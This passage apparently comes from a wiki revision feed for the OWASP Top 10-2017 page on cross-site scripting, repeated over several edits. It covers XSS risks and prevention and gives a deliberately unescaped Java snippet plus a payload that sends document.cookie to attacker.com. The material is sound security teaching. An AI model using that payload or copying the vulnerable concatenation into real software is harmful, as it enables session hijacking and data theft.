&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT' value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+encodeURIComponent(document.cookie)&amp;amp;lt;/script&amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230164</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230164"/>
				<updated>2017-05-31T19:18:36Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  Details specific to client-side input processing reside in &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT' value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+encodeURIComponent(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT' value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+encodeURIComponent(document.cookie)&amp;amp;lt;/script&amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230163</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230163"/>
				<updated>2017-05-31T19:13:18Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  Details specific to client-side input processing reside in &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT' value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+document.cookie&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT' value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+document.cookie&amp;amp;lt;/script&amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
